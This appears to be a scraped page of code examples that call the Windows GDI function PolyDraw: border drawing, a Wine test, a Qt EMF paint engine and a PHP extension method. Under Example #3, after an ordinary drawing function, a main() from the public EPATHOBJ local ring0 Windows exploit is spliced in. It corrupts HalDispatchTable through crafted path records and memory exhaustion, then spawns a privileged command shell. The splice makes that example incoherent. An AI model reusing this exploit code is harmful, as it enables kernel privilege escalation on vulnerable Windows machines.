Example #1
0
void Draw3Borders(HDC hdc, const RECT &rect, int iStartPos)
{
	CPoint	ptarrVertex[4];
	BYTE	barrType[4] = {PT_MOVETO, PT_LINETO, PT_LINETO, PT_LINETO};

	RectToVertexArr(rect, ptarrVertex, iStartPos);
	PolyDraw(hdc, ptarrVertex, barrType, 4);
	MoveToEx(hdc, ptarrVertex[3].x, ptarrVertex[3].y, NULL);
	LineTo(hdc, ptarrVertex[3].x, ptarrVertex[3].y+1);
}
Example #2
0
File: path.c Project: mikekap/wine
static void test_polydraw(void)
{
    BOOL retb;
    HDC hdc = GetDC(0);
    BeginPath(hdc);

    /* closefigure with no previous moveto */
    if (!(retb = PolyDraw(hdc, polydraw_pts, polydraw_tps, 2)) &&
        GetLastError() == ERROR_CALL_NOT_IMPLEMENTED)
    {
        /* PolyDraw is only available on Win2k and later */
        win_skip("PolyDraw is not available\n");
        goto done;
    }
    expect(TRUE, retb);

    MoveToEx(hdc, 100, 100, NULL);
    LineTo(hdc, 95, 95);
    /* closefigure with previous moveto */
    retb = PolyDraw(hdc, polydraw_pts, polydraw_tps, 2);
    expect(TRUE, retb);
    /* bad bezier points */
    retb = PolyDraw(hdc, &(polydraw_pts[2]), &(polydraw_tps[2]), 4);
    expect(FALSE, retb);
    retb = PolyDraw(hdc, &(polydraw_pts[6]), &(polydraw_tps[6]), 4);
    expect(FALSE, retb);
    /* good bezier points */
    retb = PolyDraw(hdc, &(polydraw_pts[8]), &(polydraw_tps[8]), 4);
    expect(TRUE, retb);
    /* does lineto or bezierto take precedence? */
    retb = PolyDraw(hdc, &(polydraw_pts[12]), &(polydraw_tps[12]), 4);
    expect(FALSE, retb);
    /* bad point type, has already moved cursor position */
    retb = PolyDraw(hdc, &(polydraw_pts[15]), &(polydraw_tps[15]), 4);
    expect(FALSE, retb);
    /* bad point type, cursor position is moved, but back to its original spot */
    retb = PolyDraw(hdc, &(polydraw_pts[17]), &(polydraw_tps[17]), 4);
    expect(FALSE, retb);
    /* does lineto or moveto take precedence? */
    retb = PolyDraw(hdc, &(polydraw_pts[20]), &(polydraw_tps[20]), 3);
    expect(TRUE, retb);

    EndPath(hdc);
    ok_path(hdc, "polydraw_path", polydraw_path, sizeof(polydraw_path)/sizeof(path_test_t), 0);
done:
    ReleaseDC(0, hdc);
}
Example #3
0
void DrawRound(HDC hdc, const RECT &rect, int iStartPos, int iRound)
{
//	CPoint arrPoint[10] = {0};
//	
//	//start
//	arrPoint[0].x = rect.left;
//	arrPoint[0].y = rect.bottom - 1;
//
//	arrPoint[1].x = rect.left;
//	arrPoint[1].y = rect.top + 10;
//
//	
//	arrPoint[2].x = rect.left;
//	arrPoint[2].y = rect.top + 10;
//
//    //leftTop
//	arrPoint[3].x = rect.left;
//	arrPoint[3].y = rect.top;
//
//	arrPoint[4].x = rect.left + 10;
//	arrPoint[4].y = rect.top;
/////////////////////////////////////////////////////////////
//	arrPoint[5].x = rect.right - 11;
//	arrPoint[5].y = rect.top;
//
//	arrPoint[6].x = rect.right - 11;
//	arrPoint[6].y = rect.top;
//
//	//righttop
//	arrPoint[7].x = rect.right - 1;
//	arrPoint[7].y = rect.top;
//
//	arrPoint[8].x = rect.right - 1;
//	arrPoint[8].y = rect.top + 9;
//
//	arrPoint[9].x = rect.right - 1;
//	arrPoint[9].y = rect.bottom;
//
//	BYTE	barrType[10] = {PT_MOVETO, PT_LINETO, PT_BEZIERTO, PT_BEZIERTO, PT_BEZIERTO, PT_LINETO, PT_BEZIERTO, PT_BEZIERTO, PT_BEZIERTO, PT_LINETO};
//	PolyDraw(hdc, arrPoint, barrType, 10);


	CPoint arrPoint[6] = {0};

	switch (iStartPos)
	{
	case 3:
		//start
		arrPoint[0].x = rect.left;
		arrPoint[0].y = rect.bottom - 1;
	
		arrPoint[1].x = rect.left;
		arrPoint[1].y = rect.top + iRound;
	
		
		arrPoint[2].x = rect.left + iRound;
		arrPoint[2].y = rect.top;

		arrPoint[3].x = rect.right - iRound - 1;
		arrPoint[3].y = rect.top;

		arrPoint[4].x = rect.right - 1;
		arrPoint[4].y = rect.top + iRound;
	
		arrPoint[5].x = rect.right - 1;
		arrPoint[5].y = rect.bottom;
		break;
	case 1:
		arrPoint[0].x = rect.right - 1;
		arrPoint[0].y = rect.top;

		arrPoint[1].x = rect.right - 1;
		arrPoint[1].y = rect.bottom - iRound - 1;


		arrPoint[2].x = rect.right - iRound - 1;
		arrPoint[2].y = rect.bottom - 1;

		arrPoint[3].x = rect.left + iRound;
		arrPoint[3].y = rect.bottom - 1;

		arrPoint[4].x = rect.left;
		arrPoint[4].y = rect.bottom - iRound - 1;

		arrPoint[5].x = rect.left;
		arrPoint[5].y = rect.top - 1;
		break;
	}


		BYTE	barrType[6] = {PT_MOVETO, PT_LINETO, PT_LINETO, PT_LINETO, PT_LINETO, PT_LINETO};
		PolyDraw(hdc, arrPoint, barrType, 6);

}
int main(int argc, char **argv)
{
    HANDLE               Thread;
    HDC                  Device;
    ULONG                Size;
    ULONG                PointNum;
    HMODULE              KernelHandle;
    PULONG               DispatchRedirect;
    PULONG               Interval;
    ULONG                SavedInterval;
    RTL_PROCESS_MODULES  ModuleInfo;

    LogMessage(L_INFO, "\r--------------------------------------------------\n"
                       "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
                       "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
                       "\n");

    NtQueryIntervalProfile    = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
    NtQuerySystemInformation  = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
    Mutex                     = CreateMutex(NULL, FALSE, NULL);
    DispatchRedirect          = (PVOID) HalDispatchRedirect;
    Interval                  = (PULONG) ShellCode;
    SavedInterval             = Interval[0];
    TargetPid                 = GetCurrentProcessId();

    LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
    LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);

    // Lookup the address of system modules.
    NtQuerySystemInformation(SystemModuleInformation,
                             &ModuleInfo,
                             sizeof ModuleInfo,
                             NULL);

    LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
                        ModuleInfo.Modules[0].FullPathName,
                        ModuleInfo.Modules[0].ImageBase);

    // Lookup some system routines we require.
    KernelHandle                = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
    HalDispatchTable            = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable")           - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsInitialSystemProcess      = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess")     - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsReferencePrimaryToken     = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken")    - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
    PsLookupProcessByProcessId  = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

    // Search for a ret instruction to install in the damaged HalDispatchTable.
    HalQuerySystemInformation   = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
                                - (ULONG) KernelHandle
                                + (ULONG) ModuleInfo.Modules[0].ImageBase;

    LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);

    // Create our PATHRECORD in user space we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof *PathRecord,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    PathRecord->flags   = 0;
    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

    // Now we need to create a PATHRECORD at an address that is also a valid
    // x86 instruction, because the pointer will be interpreted as a function.
    // I've created a list of candidates in DispatchRedirect.
    LogMessage(L_INFO, "Searching for an available stub address...");

    // I need to map at least two pages to guarantee the whole structure is
    // available.
    while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
                         PAGE_SIZE * 2,
                         MEM_COMMIT | MEM_RESERVE,
                         PAGE_EXECUTE_READWRITE)) {

        LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
                            *DispatchRedirect & ~(PAGE_SIZE - 1),
                            GetLastError());

        // This page is not available, try the next candidate.
        if (!*++DispatchRedirect) {
            LogMessage(L_ERROR, "No redirect candidates left, sorry!");
            return 1;
        }
    }

    LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);

    // This PATHRECORD must terminate the list and recover.
    ExploitRecordExit           = (PPATHRECORD) *DispatchRedirect;
    ExploitRecordExit->next     = NULL;
    ExploitRecordExit->prev     = NULL;
    ExploitRecordExit->flags    = PD_BEGINSUBPATH;
    ExploitRecordExit->count    = 0;

    LogMessage(L_INFO, "  ->next  @ %p", ExploitRecordExit->next);
    LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecordExit->prev);
    LogMessage(L_INFO, "  ->flags @ %u", ExploitRecordExit->flags);

    // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
    // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
    // be copied over to the new record. Therefore, we get
    //
    // nt!HalDispatchTable[1] = &ExploitRecordExit.
    //
    // So we make &ExploitRecordExit a valid sequence of instuctions here.
    LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);

    ExploitRecord.next          = (PPATHRECORD) *DispatchRedirect;
    ExploitRecord.prev          = (PPATHRECORD) &HalDispatchTable[1];
    ExploitRecord.flags         = PD_BEZIERS | PD_BEGINSUBPATH;
    ExploitRecord.count         = 4;

    LogMessage(L_INFO, "  ->next  @ %p", ExploitRecord.next);
    LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecord.prev);
    LogMessage(L_INFO, "  ->flags @ %u", ExploitRecord.flags);

    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Belier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                                   NULL,
                                   NULL,
                                   0,
                                   GENERIC_ALL,
                                   NULL));

    // Get a handle to this Desktop.
    Device = GetDC(NULL);

    // Take ownership of Mutex
    WaitForSingleObject(Mutex, INFINITE);

    // Spawn a thread to cleanup
    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");

    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.
    for (Size = 1 << 26; Size; Size >>= 1) {
        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            NumRegion++;
    }

    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

    LogMessage(L_INFO, "Flattening curves...");

    for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
        FlattenPath(Device);
        FlattenPath(Device);

        // Test if exploitation succeeded.
        NtQueryIntervalProfile(ProfileTotalIssues, Interval);

        // Repair any damage.
        *Interval = SavedInterval;

        EndPath(Device);
    }

    if (Finished) {
        LogMessage(L_INFO, "Success, launching shell...", Finished);
        ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
        LogMessage(L_INFO, "Press any key to exit...");
        getchar();
        ExitProcess(0);
    }

    // If we reach here, we didn't trigger the condition. Let the other thread know.
    ReleaseMutex(Mutex);
    WaitForSingleObject(Thread, INFINITE);
    ReleaseDC(NULL, Device);

    // Try again...
    LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
    LogMessage(L_INFO, "Press any key to exit...");
    getchar();
    ExitProcess(1);
}
Example #5
0
void EmfPaintEngine::drawPath ( const QPainterPath & path )
{
	setClipping();

	int points = path.elementCount();
	POINT *pts = new POINT[points];
	BYTE *types = new BYTE[points];

	POINT *bzs = new POINT[3];
	int bez = 0;

	BeginPath(metaDC);

	QMatrix m = painter()->worldMatrix();
	for (int i = 0; i < points; i++){
		QPainterPath::Element el = path.elementAt(i);
		QPointF p = m.map(QPointF(el.x, el.y));
		int x = qRound(p.x());
		int y = qRound(p.y());
		pts[i].x = x;
		pts[i].y = y;

		switch(el.type){
			case QPainterPath::MoveToElement:
				types[i] = PT_MOVETO;
			#ifndef Q_WS_WIN
				MoveToEx (metaDC, x, y, 0);
			#endif
			break;

			case QPainterPath::LineToElement:
				types[i] = PT_LINETO;
			#ifndef Q_WS_WIN
				LineTo(metaDC, x, y);
			#endif
			break;

			case QPainterPath::CurveToElement:
				types[i] = PT_BEZIERTO;
			#ifndef Q_WS_WIN
				bzs[bez] = pts[i];
				bez++;
			#endif
			break;

			case QPainterPath::CurveToDataElement:
				types[i] = PT_BEZIERTO;
			#ifndef Q_WS_WIN
				bzs[bez] = pts[i];
				if (bez == 2){
					PolyBezierTo(metaDC, bzs, 3);
					bez = 0;
				} else
					bez++;
			#endif
			break;
		}
	}

	HPEN wpen = convertPen(painter()->pen());
	SelectObject(metaDC, wpen);
#ifdef Q_WS_WIN
	PolyDraw(metaDC, pts, types, points);
#else
	StrokePath(metaDC);
#endif

	HBRUSH wbrush = convertBrush(painter()->brush());
	SelectObject(metaDC, wbrush);

	EndPath(metaDC);

	if(QPoint(pts[0].x, pts[0].y) == QPoint(pts[points - 1].x, pts[points - 1].y))
		StrokeAndFillPath(metaDC);
	else {
		FillPath(metaDC);
	#ifdef Q_WS_WIN
		PolyDraw(metaDC, pts, types, points);
	#else
		StrokePath(metaDC);
	#endif
	}

	resetClipping();
	DeleteObject(wbrush);
	DeleteObject(wpen);
	delete [] pts;
	delete [] types;
}
Example #6
0
PHP_METHOD(WinGdiPath, draw)
{    
    wingdi_devicecontext_object *dc_obj;
    wingdi_path_object *path_obj;
    zval ***parameters,
         **x, **y, **type;
    POINT *points = NULL;
    BYTE  *types = NULL;
    int points_total = 0;
    int param_count, i;

    WINGDI_ERROR_HANDLING();
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "+", &parameters, &param_count) == FAILURE)
        return;
    WINGDI_RESTORE_ERRORS();

    path_obj = zend_object_store_get_object(getThis() TSRMLS_CC);
    dc_obj = zend_object_store_get_object(path_obj->device_context TSRMLS_CC);
    points = emalloc(param_count * sizeof(POINT));
    types = emalloc(param_count * sizeof(BYTE));

    for (i = 0; i < param_count; i++)
    {
        // We expect only arrays
        if (Z_TYPE_PP(parameters[i]) != IS_ARRAY) 
        {
            php_error_docref(NULL TSRMLS_CC, E_ERROR, "expected array for parameter %d, got %s",
                i + 1, zend_zval_type_name(*(parameters[i])));
            goto CLEANUP;
        }
        else
        {
            // We want 3 elements
            if (zend_hash_num_elements(Z_ARRVAL_PP(parameters[i])) != 3)
            {
                php_error_docref(NULL TSRMLS_CC, E_ERROR, 
                    "expected 3 elements for array at parameter %d, got %d", 
                    i + 1, zend_hash_num_elements(Z_ARRVAL_PP(parameters[i])));
                goto CLEANUP;
            }
            else
            {
                zend_hash_index_find(Z_ARRVAL_PP(parameters[i]), 0, (void **)&x);
                zend_hash_index_find(Z_ARRVAL_PP(parameters[i]), 1, (void **)&y);
                zend_hash_index_find(Z_ARRVAL_PP(parameters[i]), 2, (void **)&type);
                if (Z_TYPE_PP(x) != IS_LONG) convert_to_long(*x);
                if (Z_TYPE_PP(y) != IS_LONG) convert_to_long(*y);
                if (Z_TYPE_PP(type) != IS_LONG) convert_to_long(*type);
                points[i].x = Z_LVAL_PP(x);
                points[i].y = Z_LVAL_PP(y);
                types[i] = (BYTE)Z_LVAL_PP(type);
                points_total++;
            }
        }
    }

    RETVAL_BOOL(PolyDraw(dc_obj->hdc, points, types, points_total));

CLEANUP:
    efree(points);
    efree(types);
}